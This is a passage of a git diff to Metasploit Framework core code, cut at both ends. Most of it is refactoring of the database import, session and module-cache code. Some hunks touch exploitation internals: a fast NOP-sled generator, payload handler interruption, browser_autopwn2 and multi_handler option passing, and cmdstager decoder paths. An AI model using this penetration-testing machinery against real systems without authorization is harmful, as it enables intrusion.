::FileUtils.mkdir_p(loot_dir) - end - new_loot = ::File.join(loot_dir,loot_file) - loot_info[:path] = new_loot - if ::File.exists?(new_loot) - ::File.unlink new_loot # Delete it, and don't report it. - else - report_loot(loot_info) # It's new, so report it. - end - ::FileUtils.copy(loot_info[:orig_path], new_loot) - yield(:msf_loot, new_loot) if block + # Parses host Nokogiri::XML::Element + def parse_zip_host(host, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block) + host_info[host.at("id").text.to_s.strip] = nils_for_nulls(host.at("address").text.to_s.strip) unless host.at('address').nil? + end + + # Parses loot Nokogiri::XML::Element + def parse_zip_loot(loot, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block) + return 0 if bl.include? host_info[loot.at("host-id").text.to_s.strip] + loot_info = {} + loot_info[:host] = host_info[loot.at("host-id").text.to_s.strip] + loot_info[:workspace] = args[:wspace] + loot_info[:ctype] = nils_for_nulls(loot.at("content-type").text.to_s.strip) + loot_info[:info] = nils_for_nulls(unserialize_object(loot.at("info"), allow_yaml)) + loot_info[:ltype] = nils_for_nulls(loot.at("ltype").text.to_s.strip) + loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip) + loot_info[:created_at] = nils_for_nulls(loot.at("created-at").text.to_s.strip) + loot_info[:updated_at] = nils_for_nulls(loot.at("updated-at").text.to_s.strip) + loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip) + loot_info[:orig_path] = nils_for_nulls(loot.at("path").text.to_s.strip) + loot_info[:task] = args[:task] + tmp = args[:ifd][:zip_tmp] + loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path] + if !loot.at("service-id").text.to_s.strip.empty? + unless loot.at("service-id").text.to_s.strip == "NULL" + loot_info[:service] = loot.at("service-id").text.to_s.strip end end - # Import Tasks - doc.elements.each("/#{btag}/tasks/task") do |task| - task_info = {} - task_info[:workspace] = args[:wspace] - # Should user be imported (original) or declared (the importing user)? - task_info[:user] = nils_for_nulls(task.elements["created-by"].text.to_s.strip) - task_info[:desc] = nils_for_nulls(task.elements["description"].text.to_s.strip) - task_info[:info] = nils_for_nulls(unserialize_object(task.elements["info"], allow_yaml)) - task_info[:mod] = nils_for_nulls(task.elements["module"].text.to_s.strip) - task_info[:options] = nils_for_nulls(task.elements["options"].text.to_s.strip) - task_info[:prog] = nils_for_nulls(task.elements["progress"].text.to_s.strip).to_i - task_info[:created_at] = nils_for_nulls(task.elements["created-at"].text.to_s.strip) - task_info[:updated_at] = nils_for_nulls(task.elements["updated-at"].text.to_s.strip) - if !task.elements["completed-at"].text.to_s.empty? - task_info[:completed_at] = nils_for_nulls(task.elements["completed-at"].text.to_s.strip) - end - if !task.elements["error"].text.to_s.empty? - task_info[:error] = nils_for_nulls(task.elements["error"].text.to_s.strip) - end - if !task.elements["result"].text.to_s.empty? - task_info[:result] = nils_for_nulls(task.elements["result"].text.to_s.strip) - end - task_info[:orig_path] = nils_for_nulls(task.elements["path"].text.to_s.strip) - tmp = args[:ifd][:zip_tmp] - task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path] - - # Only report a task if we actually have it. - # TODO: Copypasta. Separate this out. - if ::File.exists? task_info[:orig_path] - tasks_dir = ::File.join(basedir,"tasks") - task_file = ::File.split(task_info[:orig_path]).last - if ::File.exists? tasks_dir - unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir)) - raise Msf::DBImportError.new("Could not move files to #{tasks_dir}") - end - else - ::FileUtils.mkdir_p(tasks_dir) + # Only report loot if we actually have it. + # TODO: Copypasta. Separate this out. + if ::File.exist? loot_info[:orig_path] + loot_dir = ::File.join(basedir,"loot") + loot_file = ::File.split(loot_info[:orig_path]).last + if ::File.exist? loot_dir + unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir)) + raise Msf::DBImportError.new("Could not move files to #{loot_dir}") end - new_task = ::File.join(tasks_dir,task_file) - task_info[:path] = new_task - if ::File.exists?(new_task) - ::File.unlink new_task # Delete it, and don't report it. - else - report_task(task_info) # It's new, so report it. - end - ::FileUtils.copy(task_info[:orig_path], new_task) - yield(:msf_task, new_task) if block + else + ::FileUtils.mkdir_p(loot_dir) end + new_loot = ::File.join(loot_dir,loot_file) + loot_info[:path] = new_loot + if ::File.exist?(new_loot) + ::File.unlink new_loot # Delete it, and don't report it. + else + report_loot(loot_info) # It's new, so report it. + end + ::FileUtils.copy(loot_info[:orig_path], new_loot) + yield(:msf_loot, new_loot) if block end + end - # Import Reports - doc.elements.each("/#{btag}/reports/report") do |report| - import_report(report, args, basedir) + # Parses task Nokogiri::XML::Element + def parse_zip_task(task, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block) + task_info = {} + task_info[:workspace] = args[:wspace] + # Should user be imported (original) or declared (the importing user)? + task_info[:user] = nils_for_nulls(task.at("created-by").text.to_s.strip) + task_info[:desc] = nils_for_nulls(task.at("description").text.to_s.strip) + task_info[:info] = nils_for_nulls(unserialize_object(task.at("info"), allow_yaml)) + task_info[:mod] = nils_for_nulls(task.at("module").text.to_s.strip) + task_info[:options] = nils_for_nulls(task.at("options").text.to_s.strip) + task_info[:prog] = nils_for_nulls(task.at("progress").text.to_s.strip).to_i + task_info[:created_at] = nils_for_nulls(task.at("created-at").text.to_s.strip) + task_info[:updated_at] = nils_for_nulls(task.at("updated-at").text.to_s.strip) + if !task.at("completed-at").text.to_s.empty? + task_info[:completed_at] = nils_for_nulls(task.at("completed-at").text.to_s.strip) end + if !task.at("error").text.to_s.empty? + task_info[:error] = nils_for_nulls(task.at("error").text.to_s.strip) + end + if !task.at("result").text.to_s.empty? + task_info[:result] = nils_for_nulls(task.at("result").text.to_s.strip) + end + task_info[:orig_path] = nils_for_nulls(task.at("path").text.to_s.strip) + tmp = args[:ifd][:zip_tmp] + task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path] + + # Only report a task if we actually have it. + # TODO: Copypasta. Separate this out. + if ::File.exist? task_info[:orig_path] + tasks_dir = ::File.join(basedir,"tasks") + task_file = ::File.split(task_info[:orig_path]).last + if ::File.exist? tasks_dir + unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir)) + raise Msf::DBImportError.new("Could not move files to #{tasks_dir}") + end + else + ::FileUtils.mkdir_p(tasks_dir) + end + new_task = ::File.join(tasks_dir,task_file) + task_info[:path] = new_task + if ::File.exist?(new_task) + ::File.unlink new_task # Delete it, and don't report it. + else + report_task(task_info) # It's new, so report it. + end + ::FileUtils.copy(task_info[:orig_path], new_task) + yield(:msf_task, new_task) if block + end + end + + # Parses report Nokogiri::XML::Element + def parse_zip_report(report, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block) + import_report(report, args, basedir) end # Import a Metasploit Express ZIP file. Note that this requires @@ -156,7 +167,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) - if ::File.exists? new_tmp + if ::File.exist? new_tmp unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp)) raise Msf::DBImportError.new("Could not extract zip file to #{new_tmp}") end @@ -172,7 +183,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip # already exist @import_filedata[:zip_tmp_subdirs].each {|sub| tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub) - if File.exists? tmp_subdirs + if File.exist? tmp_subdirs unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs)) # if it exists but we can't write to it, give up raise Msf::DBImportError.new("Could not extract zip file to #{tmp_subdirs}") @@ -198,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip Dir.entries(@import_filedata[:zip_tmp]).each do |entry| if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/ manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) - if File.exists? manifest_file_path + if File.exist? manifest_file_path import_msf_cred_dump(manifest_file_path, wspace) end end diff --git a/lib/msf/core/db_manager/import/nessus.rb b/lib/msf/core/db_manager/import/nessus.rb index 078438d922..cbfeeb7e4a 100644 --- a/lib/msf/core/db_manager/import/nessus.rb +++ b/lib/msf/core/db_manager/import/nessus.rb @@ -12,20 +12,22 @@ module Msf::DBManager::Import::Nessus # Nessus NBE and NESSUS v1 methods # def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data,task=nil) + addr = hobj.address # The port section looks like: # http (80/tcp) p = port.match(/^([^\(]+)\((\d+)\/([^\)]+)\)/) - return if not p - # Unnecessary as the caller should already have reported this host - #report_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive) - name = p[1].strip - port = p[2].to_i - proto = p[3].downcase + if p + name = p[1].strip + port = p[2].to_i + proto = p[3].downcase + else + port = nil + end info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } - if name != "unknown" and name[-1,1] != "?" + if name and name != "unknown" and name[-1,1] != "?" info[:name] = name end report_service(info) diff --git a/lib/msf/core/db_manager/import/nexpose/raw.rb b/lib/msf/core/db_manager/import/nexpose/raw.rb index 302e2a6f8d..214557c41c 100644 --- a/lib/msf/core/db_manager/import/nexpose/raw.rb +++ b/lib/msf/core/db_manager/import/nexpose/raw.rb @@ -196,8 +196,8 @@ module Msf::DBManager::Import::Nexpose::Raw # Takes an array of vuln hashes, as returned by the NeXpose rawxml stream # parser, like: # [ - # {"id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>[{"source"=>"BID", "value"=>"10600"}, ...]} - # {"id"=>"windows-zotob-c", severity="8", "refs"=>[{"source"=>"BID", "value"=>"14513"}, ...]} + # "id"=>"winreg-notes-protocol-handler", severity="8", "refs"=>["source"=>"BID", "value"=>"10600", ...] + # "id"=>"windows-zotob-c", severity="8", "refs"=>["source"=>"BID", "value"=>"14513", ...] # ] # and transforms it into a struct, containing :id, :refs, :title, and :severity # @@ -227,4 +227,4 @@ module Msf::DBManager::Import::Nexpose::Raw end return ret end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/import/nmap.rb b/lib/msf/core/db_manager/import/nmap.rb index 9def5e100b..2ad5a997f4 100644 --- a/lib/msf/core/db_manager/import/nmap.rb +++ b/lib/msf/core/db_manager/import/nmap.rb @@ -182,7 +182,6 @@ module Msf::DBManager::Import::Nmap :info => 'Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution', :refs =>['CVE-2008-4250', 'BID-31874', - 'OSVDB-49243', 'CWE-94', 'MSFT-MS08-067', 'MSF-Microsoft Server Service Relative Path Stack Corruption', @@ -204,8 +203,6 @@ module Msf::DBManager::Import::Nmap 'BID-18325', 'BID-18358', 'BID-18424', - 'OSVDB-26436', - 'OSVDB-26437', 'MSFT-MS06-025', 'MSF-Microsoft RRAS Service RASMAN Registry Overflow', 'NSS-21689'] @@ -224,7 +221,6 @@ module Msf::DBManager::Import::Nmap :info => 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution', # Add more refs based on nessus/nexpose .. results :refs =>['CVE-2007-1748', - 'OSVDB-34100', 'MSF-Microsoft DNS RPC Service extractQuotedChar()', 'NSS-25168'] } diff --git a/lib/msf/core/db_manager/import/open_vas.rb b/lib/msf/core/db_manager/import/open_vas.rb index 9991d19e86..f2ef38929f 100644 --- a/lib/msf/core/db_manager/import/open_vas.rb +++ b/lib/msf/core/db_manager/import/open_vas.rb @@ -29,6 +29,6 @@ module Msf::DBManager::Import::OpenVAS filename = args[:filename] wspace = args[:wspace] || workspace - raise Msf::DBImportError.new("No OpenVAS XML support. Please submit a patch to msfdev[at]metasploit.com") + raise Msf::DBImportError.new("No OpenVas XML support. Please submit a patch to msfdev[at]metasploit.com") end end diff --git a/lib/msf/core/db_manager/import/report.rb b/lib/msf/core/db_manager/import/report.rb index a6708b5e1c..ebd922bada 100644 --- a/lib/msf/core/db_manager/import/report.rb +++ b/lib/msf/core/db_manager/import/report.rb @@ -28,7 +28,7 @@ module Msf::DBManager::Import::Report report_id = report_report(report_info) # Handle artifacts - report.elements['artifacts'].elements.each do |artifact| + report.elements.at('artifacts').elements.each do |artifact| artifact_opts = {} artifact.elements.each do |attr| skip_nodes = %w|id accessed-at| diff --git a/lib/msf/core/db_manager/migration.rb b/lib/msf/core/db_manager/migration.rb index 5d98eb960e..4c6430bd52 100644 --- a/lib/msf/core/db_manager/migration.rb +++ b/lib/msf/core/db_manager/migration.rb @@ -10,7 +10,7 @@ module Msf::DBManager::Migration "the .bundle/config manually and then `bundle install`" end - Rails.application.railties.engines.each do |engine| + ::Rails::Engine.subclasses.map(&:instance).each.each do |engine| migrations_paths = engine.paths['db/migrate'].existent_directories migrations_paths.each do |migrations_path| diff --git a/lib/msf/core/db_manager/module_cache.rb b/lib/msf/core/db_manager/module_cache.rb index 5e23cb6d2c..28d8580223 100644 --- a/lib/msf/core/db_manager/module_cache.rb +++ b/lib/msf/core/db_manager/module_cache.rb @@ -158,7 +158,6 @@ module Msf::DBManager::ModuleCache # +edb+:: Matches modules with the given Exploit-DB ID. # +name+:: Matches modules with the given full name or name. # +os+, +platform+:: Matches modules with the given platform or target name. - # +osvdb+:: Matches modules with the given OSVDB ID. # +ref+:: Matches modules with the given reference ID. # +type+:: Matches modules with the given type. # @@ -201,7 +200,7 @@ module Msf::DBManager::ModuleCache end end - query = Mdm::Module::Detail.scoped + query = Mdm::Module::Detail.all ActiveRecord::Base.connection_pool.with_connection do # Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports @@ -214,7 +213,7 @@ module Msf::DBManager::ModuleCache when 'author' formatted_values = match_values(value_set) - query = query.includes(:authors) + query = query.includes(:authors).references(:authors) module_authors = Mdm::Module::Author.arel_table union_conditions << module_authors[:email].matches_any(formatted_values) union_conditions << module_authors[:name].matches_any(formatted_values) @@ -227,10 +226,10 @@ module Msf::DBManager::ModuleCache when 'os', 'platform' formatted_values = match_values(value_set) - query = query.includes(:platforms) + query = query.includes(:platforms).references(:platforms) union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) - query = query.includes(:targets) + query = query.includes(:targets).references(:targets) union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) when 'text' formatted_values = match_values(value_set) @@ -240,22 +239,22 @@ module Msf::DBManager::ModuleCache union_conditions << module_details[:fullname].matches_any(formatted_values) union_conditions << module_details[:name].matches_any(formatted_values) - query = query.includes(:actions) + query = query.includes(:actions).references(:actions) union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values) - query = query.includes(:archs) + query = query.includes(:archs).references(:archs) union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values) - query = query.includes(:authors) + query = query.includes(:authors).references(:authors) union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values) - query = query.includes(:platforms) + query = query.includes(:platforms).references(:platforms) union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values) - query = query.includes(:refs) + query = query.includes(:refs).references(:refs) union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) - query = query.includes(:targets) + query = query.includes(:targets).references(:targets) union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values) when 'type' formatted_values = match_values(value_set) @@ -275,16 +274,16 @@ module Msf::DBManager::ModuleCache when 'ref' formatted_values = match_values(value_set) - query = query.includes(:refs) + query = query.includes(:refs).references(:refs) union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) - when 'cve', 'bid', 'osvdb', 'edb' + when 'cve', 'bid', 'edb' formatted_values = value_set.collect { |value| prefix = keyword.upcase "#{prefix}-%#{value}%" } - query = query.includes(:refs) + query = query.includes(:refs).references(:refs) union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values) end end @@ -329,7 +328,7 @@ module Msf::DBManager::ModuleCache next end - unless md.file and ::File.exists?(md.file) + unless md.file and ::File.exist?(md.file) refresh << md next end diff --git a/lib/msf/core/db_manager/report.rb b/lib/msf/core/db_manager/report.rb index e602e6a21e..cb4ccb19ce 100644 --- a/lib/msf/core/db_manager/report.rb +++ b/lib/msf/core/db_manager/report.rb @@ -23,7 +23,7 @@ module Msf::DBManager::Report created = opts.delete(:created_at) updated = opts.delete(:updated_at) - unless File.exists? tmp_path + unless File.exist? tmp_path raise Msf::DBImportError 'Report artifact file to be imported does not exist.' end @@ -31,7 +31,7 @@ module Msf::DBManager::Report raise Msf::DBImportError "Could not move report artifact file to #{artifacts_dir}." end - if File.exists? new_path + if File.exist? new_path unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}" new_path = File.join(artifacts_dir, unique_basename) end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 0c81d5b39d..df65145bd8 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -33,7 +33,7 @@ module Msf::DBManager::Session # :session host is contained. Also used as the workspace for the # Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with # Mdm::Workspace#name equal to +session.workspace+. - # @return [nil] if {Msf::DBManager#active} is +false+. + # @return [nil] if Msf::DBManager#active is +false+. # @return [Mdm::Session] if session is saved # @raise [ArgumentError] if :session is not an {Msf::Session}. # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be @@ -68,7 +68,7 @@ module Msf::DBManager::Session # exploit that was used to open the session. # @option option [String] :via_payload the {MSf::Module#fullname} of the # payload sent to the host when the exploit was successful. - # @return [nil] if {Msf::DBManager#active} is +false+. + # @return [nil] if Msf::DBManager#active is +false+. # @return [Mdm::Session] if session is saved. # @raise [ArgumentError] if :host is not an Mdm::Host. # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be @@ -103,7 +103,7 @@ module Msf::DBManager::Session protected - # @param session [Msf::Session] A session with a {db_record Msf::Session#db_record} + # @param session [Msf::Session] A session with a db_record Msf::Session#db_record # @param wspace [Mdm::Workspace] # @return [void] def infer_vuln_from_session(session, wspace) @@ -172,7 +172,7 @@ module Msf::DBManager::Session host = find_or_create_host(h_opts) sess_data = { datastore: session.exploit_datastore.to_h, - desc: truncate_session_desc(session.info), + desc: session.info, host_id: host.id, last_seen: Time.now.utc, local_id: session.sid, @@ -212,7 +212,7 @@ module Msf::DBManager::Session sess_data = { host_id: host.id, stype: opts[:stype], - desc: truncate_session_desc(opts[:desc]), + desc: opts[:desc], platform: opts[:platform], via_payload: opts[:via_payload], via_exploit: opts[:via_exploit], @@ -230,16 +230,4 @@ module Msf::DBManager::Session } end - # Truncate the session data if necessary - # - # @param desc [String] - # @return [String] +desc+ truncated to the max length of the desc column - def truncate_session_desc(desc) - # Truncate the session data if necessary - if desc - desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit] - end - desc - end - end diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb index 6bc4d3c9fe..70652b3beb 100644 --- a/lib/msf/core/db_manager/workspace.rb +++ b/lib/msf/core/db_manager/workspace.rb @@ -30,7 +30,7 @@ module Msf::DBManager::Workspace def workspaces ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.order('updated_at asc').all + ::Mdm::Workspace.order('updated_at asc').load } end end diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index 076107891e..dc912a7dbe 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -537,7 +537,7 @@ protected # def find_context_key(buf, badchars, state) # Make sure our context information file is sane - if File.exists?(datastore['ContextInformationFile']) == false + if !File.exist?(datastore['ContextInformationFile']) raise NoKeyError, "A context information file must specified when using context encoding", caller end diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 7e36ad1a80..888b835ca8 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -649,14 +649,14 @@ class Exploit < Msf::Module # Returns true if the exploit has an aggressive stance. # def aggressive? - (stance == Stance::Aggressive || stance.include?(Stance::Aggressive)) + (stance == Stance::Aggressive) end # # Returns if the exploit has a passive stance. # def passive? - (stance == Stance::Passive || stance.include?(Stance::Passive)) + (stance == Stance::Passive) end # @@ -1002,6 +1002,30 @@ class Exploit < Msf::Module } end + + # + # Generates a NOP sled using the #make_nops method. + # The difference between this and #make_nops is this method is much faster, good for exploit + # developers that actually want huge chunks of NOPs. The downside of using this is the NOP sled + # is less randomized. + # + # @param count [String] Number of NOPs to return. + # @return [String] NOPs + # + def make_fast_nops(count) + max_nop_chunk_size = 100 + + if count < max_nop_chunk_size + return make_nops(count) + end + + nops = make_nops(max_nop_chunk_size) + nops += nops while nops.length < count + + nops[0, count] + end + + # # Generates a nop sled of a supplied length and returns it to the caller. # @@ -1197,9 +1221,15 @@ class Exploit < Msf::Module # value can be one of the Handler::constants. # def handler(*args) - return if not payload_instance - return if not handler_enabled? - return payload_instance.handler(*args) + if payload_instance && handler_enabled? + payload_instance.handler(*args) + end + end + + def interrupt_handler + if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session) + payload_instance.interrupt_wait_for_session() + end end ## @@ -1351,6 +1381,9 @@ class Exploit < Msf::Module # Report the failure (and attempt) in the database self.report_failure + + # Interrupt any session waiters in the handler + self.interrupt_handler end def report_failure @@ -1506,7 +1539,7 @@ protected # required when wanting to support context keyed encoding # def define_context_encoding_reqs(reqs) - return if datastore['EnableContextEncoding'] != true + return unless datastore['EnableContextEncoding'] # At present, we don't support any automatic methods of obtaining # context information. In the future, we might support obtaining diff --git a/lib/msf/core/exploit/browser_autopwn2.rb b/lib/msf/core/exploit/browser_autopwn2.rb index 6fe093cc08..dcf89e44e7 100644 --- a/lib/msf/core/exploit/browser_autopwn2.rb +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -130,16 +130,13 @@ module Msf xploit.datastore['PAYLOAD'] = p.first[:payload_name] xploit.datastore['LPORT'] = p.first[:payload_lport] xploit.datastore['SRVHOST'] = datastore['SRVHOST'] - xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate'] - xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName'] - xploit.datastore['VERBOSE'] = datastore['VERBOSE'] if datastore['VERBOSE'] - xploit.datastore['Retries'] = datastore['Retries'] if datastore['Retries'] - xploit.datastore['SSL'] = datastore['SSL'] if datastore['SSL'] - xploit.datastore['SSLVersion'] = datastore['SSLVersion'] if datastore['SSLVersion'] - xploit.datastore['URIHOST'] = datastore['URIHOST'] if datastore['URIHOST'] - xploit.datastore['URIPORT'] = datastore['URIPORT'] if datastore['URIPORT'] + xploit.datastore['SRVPORT'] = datastore['SRVPORT'] xploit.datastore['LHOST'] = get_payload_lhost + %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt| + xploit.datastore[opt] = datastore[opt] if datastore[opt] + end + # Set options only configurable by BAP. xploit.datastore['DisablePayloadHandler'] = true xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix @@ -325,22 +322,14 @@ module Msf multi_handler.datastore['LHOST'] = get_payload_lhost multi_handler.datastore['PAYLOAD'] = payload_name multi_handler.datastore['LPORT'] = wanted[:payload_lport] - multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions'] - multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid'] - multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate'] - multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc'] - multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript'] - multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript'] - multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID'] - multi_handler.datastore['HandlerSSLCert'] = datastore['HandlerSSLCert'] if datastore['HandlerSSLCert'] - multi_handler.datastore['StagerVerifySSLCert'] = datastore['StagerVerifySSLCert'] if datastore['StagerVerifySSLCert'] - multi_handler.datastore['PayloadUUIDTracking'] = datastore['PayloadUUIDTracking'] if datastore['PayloadUUIDTracking'] - multi_handler.datastore['PayloadUUIDName'] = datastore['PayloadUUIDName'] if datastore['PayloadUUIDName'] - multi_handler.datastore['IgnoreUnknownPayloads'] = datastore['IgnoreUnknownPayloads'] if datastore['IgnoreUnknownPayloads'] - multi_handler.datastore['SessionRetryTotal'] = datastore['SessionRetryTotal'] if datastore['SessionRetryTotal'] - multi_handler.datastore['SessionRetryWait'] = datastore['SessionRetryWait'] if datastore['SessionRetryWait'] - multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout'] - multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout'] + + %w(DebugOptions AutoLoadAndroid PrependMigrate PrependMigrateProc + InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert + StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName + IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait + SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| + multi_handler.datastore[opt] = datastore[opt] if datastore[opt] + end # Configurable only by BAP multi_handler.datastore['ExitOnSession'] = false @@ -409,8 +398,8 @@ module Msf # Checks if the module is multi-platform based on the directory path. # # @param m [Object] Module. - # @return Module [TrueClass] is multi-platform. - # @return Module [FalseClass] is not multi-platform. + # @return [TrueClass] is multi-platform. + # @return [FalseClass] is not multi-platform. def is_multi_platform_exploit?(m) m.fullname.include?('multi/') end @@ -528,7 +517,7 @@ module Msf # As an user, you shouldn't be using any of these paths anyway. columns.delete('Path') if !datastore['VERBOSE'] - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Exploits', 'Indent' => 1, 'Columns' => columns @@ -636,7 +625,7 @@ module Msf # @return [void] def show_exploit_list(ip, tag, current_exploit_list) order = 1 - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => '', 'Indent' => 1, 'Columns' => ['Order', 'IP', 'Exploit'] @@ -703,7 +692,7 @@ module Msf def on_request_uri(cli, request) # Check if target is on our whitelist if @whitelist && !is_ip_targeted?(cli.peerhost) - print_status("Client is trying to connect but not on our whitelist.") + print_status("Client #{cli.peerhost} is trying to connect but not on our whitelist.") send_not_found(cli) return end @@ -767,7 +756,7 @@ module Msf return datastore['HTMLContent'] end elsif exploit_list.empty? - print_status("No suitable exploits to send.") + print_status("No suitable exploits to send for #{cli.peerhost}") if datastore['HTMLContent'].blank? send_not_found(cli) return '' diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index be8d27a79c..61f4651459 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -110,7 +110,7 @@ module Msf cap = datastore['PCAPFILE'] || '' if (not cap.empty?) - if (not File.exists?(cap)) + if (not File.exist?(cap)) raise RuntimeError, "The PCAP file #{cap} could not be found" end self.capture = ::Pcap.open_offline(cap) @@ -216,7 +216,7 @@ module Msf raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" end - if (not File.exists?(pcap_file)) + if (not File.exist?(pcap_file)) raise RuntimeError, "The PCAP file #{pcap_file} could not be found" end @@ -302,7 +302,7 @@ module Msf def probe_gateway(addr) dst_host = datastore['GATEWAY_PROBE_HOST'] - dst_port = datastore['GATEWAY_PROBE_PORT'] == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT'] + dst_port = datastore['GATEWAY_PROBE_PORT'].to_i == 0 ? rand(30000) + 1024 : datastore['GATEWAY_PROBE_PORT'] preamble = [datastore['SECRET']].pack("N") secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}" diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 9d33a97c8b..c2cf9f4045 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -26,10 +26,10 @@ module Exploit::CmdStager # Constant for decoders - used when checking the default flavor decoder. DECODERS = { - :debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"), - :debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"), - :vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), - :vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + :debug_asm => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_asm"), + :debug_write => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_write"), + :vbs => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64"), + :vbs_adodb => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb") } attr_accessor :stager_instance @@ -306,14 +306,14 @@ module Exploit::CmdStager # overriden by a module this mixin. # # @param opts [Hash] Hash of configuration options. - def execute_cmdstager_begin(opts) + def execute_cmdstager_begin(opts = {}) end # Code to execute after the cmd stager stub. This method is designed to be # overriden by a module this mixin. # # @param opts [Hash] Hash of configuration options. - def execute_cmdstager_end(opts) + def execute_cmdstager_end(opts = {}) end # Code called to execute each command via an arbitrary module-defined vector. @@ -321,7 +321,7 @@ module Exploit::CmdStager # # @param cmd [String] The command to execute. # @param 